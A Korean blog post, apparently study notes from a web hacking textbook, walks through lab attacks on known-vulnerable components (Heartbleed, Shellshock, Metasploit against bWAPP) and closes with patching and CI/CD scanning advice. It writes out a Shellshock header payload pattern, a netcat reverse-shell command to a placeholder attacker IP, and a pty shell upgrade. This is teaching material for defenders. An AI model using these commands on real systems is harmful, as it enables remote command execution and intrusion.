최근 개발 환경 추세에는 수많은 개발 프로젝트들이 오픈소스 라이브러리를 직간접적으로 사용한다.
오픈소스에서 발생하는 대부분의 취약점은 CVE 데이터베이스를 통해 공개된다.
공격자가 CVE 데이터베이스를 통해 알려진 취약점에 대한 정보를 쉽게 찾고 공격에 사용한다.
따라서 공격 대상이나 공격 대상이 사용하는 라이브러리 소프트웨어의 버전 정보만 알면 쉽게 어떤 취약점이 있는지 알 수 있기 때문에, 알려진 취약점을 잘 패치하는 것은 필수적인 일이다.
원래 HTTPS로 구현된 웹 사이트들은 안전하다고 알려져 있지만, 하트블리드 취약점이 있으면 민감한 정보가 노출될 수 있다.
HTTPS 프로토콜의 근간이 되는 SSL/TLS 프로토콜을 구현한 OpenSSL 라이브러리 중 1.0.1 - 1.01f 버전에 존재하는 취약점이다.
하트블리드 취약점을 이용하면 공격자는 웹 서버 호스트의 메모리를 읽을 수 있게 되어 사용자의 로그인 정보 및 그밖에 노출되면 안 되는 민감한 정보들을 탈취할 수 있게 된다.
먼저, 하트블리드 취약점이 있는 웹페이지에 접속한다.
위는 웹 서버가 취약한 OpenSSL 버전을 사용하고 있으니, 8443포트로 로그인하고 공격 스크립트를 수행하라고 하는데, 여기서 8443 포트는 HTTPS 프로토콜로 접속해야 하는 포트이다.
따라서 모든 통신의 내용이 암호화되어 전송되기 때문에 통신 내용이 노출되지 않아야 정상이다.
일단 공격을 위해서 attack script를 클릭해 공격 스크립트를 다운로드한다.
해당 파일의 위치를 확인한다.
8443포트로8443 포트로 접속한다.(https://)
위와 같이 인증서 에러가 발생할 수 있는데, 밑의 화면에 add Exception에서 해당 웹 주소를 추가해준다.
다음과 같이 로그인 시도를 한다.(8443 포트 확인)
터미널에서 공격 스크립트를 실행한다.(필자는 간편하게 보기 위해 tee 옵션을 추가해 텍스트 파일로 저장했다.)
밑의 화면과 같이 세션 정보가 출력된다.
쉘 쇼크는쉘 쇼크는 bash 쉘의 취약점이다.
쉘 쇼크는 시스템 환경변수에 다음과 같이 특정 패턴의 문자열과 함께 임의의 명령어가 저장되어 있으면 쉘이 실행될 때 해당 명령어가 실행되는 취약점이다.
Ex) () { :;}; <command>
먼저, shellshock 취약점이 있는 웹 페이지에 접속한다.
위의 화면에서 마지막에 표시된 두 줄은 실습 페이지의 원래 내용이 아니라, 실습 페이지에서 <iframe>을 통해 요청한 shellshock.sh 쉘 스크립트의 실행 결과로 출력된 것이다.
이때, 쉘 쇼크의 취약점이 존재하므로, shellshock.sh를 요청하는 요청 헤더에다가 쉘 쇼크 공격 코드를 삽입하여 전송하면 원하는 명령을 실행할 수 있게 된다.
위와 같이 연결이 되면 명령어를 통해 원격 호스트에 파이썬이 설치되어 있으면 다음 명령어를 사용하여 프롬프트가 표시되는 쉘로 업그레이드한다.
www-data라는 사용자 권한을 흭득, root 권한이 아니기 때문에 제한이 있지만 실제 공격 시나리오에서는 루트 권한을 획득하기 위한 권한 상승 공격으로 이어지게 된다.
쉘 쇼크 공격은 명령어 실행이 가능한 공격이다.
쉘을 획득하는 기법 : 바인드 쉘과 리버스 쉘
바인드 쉘 : 공격자가 서버 쪽에서 리스닝 포트를 열어 접속을 기다리도록 만든 후, 공격자 클라이언트에서 서버로 접속하여 쉘을 획득하는 공격 방법. 즉, 공격자 호스트가 클라이언트, 침투에 성공한 공격 대상이 서버가 된다.
리버스 쉘 : 공격 대상 쪽에서 공격자의 호스트로 접속하도록 만들어 리버스, 즉 역방향으로 쉘을 생성하는 공격 기법. 즉 공격자 호스트가 서버, 침투에 성공한 공격 대상이 클라이언트가 된다. (주로 방화벽을 우회하기 위한 용도로 사용하는 기법)
nc : 네트워크 통신을 위한 프로그램, 클라이언트 모드, 서버 모드 양쪽 모두로 구동.
ex) nc -lvnp <포트번호>
-l : nc를 리스닝 모드로 동작시킨다.
-v : nc 실행 중 발생하는 메시지를 출력한다. 접속이 들어오면 그 내용을 알려준다.
-n : 호스트 주소나 포트를 숫자 형태로 표시한다.
-p : 리스닝 모드에서 사용할 포트 번호를 지정한다.
원격에서는 nc <공격자 호스트 IP 주소><포트 번호> -e /bin/bash로 nc 명령어 뒤에 지정된 IP 주소와 포트로 접속하게 되는데, -e 옵션은 접속이 이루어진 후 실행한 명령어를 지정하는 옵션이다. /bin/bash를 지정하게 되면 bash 쉘이 생성된다.
소스코드가 노출되거나 공격자가 임의의 코드를 실행할 수 있는 취약점이 존재한다.
이 취약점은 요청 URI의 쿼리 스트링 부분을 잘못 처리함으로써 발생한다.
소스코드가 노출되면 그 웹 애플리케이션의 내부 로직이 드러나게 되고, 공격자가 이를 분석하여 이차 공격을 시도할 수 있게 된다.
메타스플로잇은 종합 익스플로잇 프레임워크이며, 비단 웹 모의해킹뿐만 아니라 시스템 해킹을 비롯한 모든 분야의 모의해킹을 수행하는 데 사용되는 소프트웨어이다.
search 명령어로 공격 모듈을 검색한다.
use 명령어로 공격 모듈 설정 단계로 진입한다.
show options 명령어로 옵션을 확인하고 set 명령어로 필요한 옵션을 설정한다.
위에서 RHOST는 공격 대상의 IP 주소를 설정하는 옵션으로 bWAPP의 주소를 설정
또한 TARGETURI 옵션에서 취약점이 존재하는 경로를 설정
공격에 성공하게 되면 실행할 페이로드를 설정한다. 일반적으로 바인드 쉘이나 리버스 쉘 등 쉘을 흭득하는 페이로드로 설정한다.
일반적인 리버스 쉘의 경우 LHOST와 LPOST의 옵션을 설정하도록 되어 있는데, 이는 리버스 쉘에서 접속을 기다리게 될 로컬 호스트의 IP 주소와 포트이다.
run 명령어를 실행하여 공격을 수행한다.
공격에 성공하면 페이로드가 실행되고 이후 포스트 익스플로잇 과정을 수행한다.
shell 명령어를 통해 피해 시스템으로 로그인을 해준다.
python -c 'import pty; pty.spawn("/bin/bash");' 명령어를 통해 쉘을 획득한다.
취약점 소프트웨어를 최신 버전으로 업데이트함으로써 대응할 수 있다.
시스템을 항상 최신 업데이트 상태로 유지한다.
오픈 소스를 사용하는 경우 각 오픈소스에 대한 관리가 필요하다.(분석, 나열, 모니터링, 최신 패치 적용 프로세스)
알려진 취약점을 확인할 수 있는 소프트웨어를 CI/CD에 포함시켜 개발 프로세스 자동화를 구축한다.
CI/CD(Continuous Integration, Continuous Delivery) : 지속적 통합/지속적 배포의 과정으로 개발, 테스트 제품 릴리즈 단계와 같은 소프트웨어 개발에 필요한 단계를 통합하여 관리하는 개발 프로세스
개발과 운영을 통합한 데브옵스 과정에서부터 보안을 적용한다.
소프트웨어의 보안성을 저비용 고효율로 확보할 수 있다
위 글은 '화이트 해커를 위한 웹 해킹의 기술 최봉환 저'를 공부하며 작성한 글입니다.
Step13. 자바 역직렬화 취약점 공격 (0) | 2021.03.10 |
---|---|
Step11. XXE(XML 외부 엔티티) 공격 (0) | 2021.03.08 |
Step10. 접근 통제 취약점 공격 (0) | 2021.03.08 |
Step9. 민감한 데이터 노출 (0) | 2021.03.07 |
Step8. 파일 업로드 공격 (0) | 2021.02.28 |
댓글 영역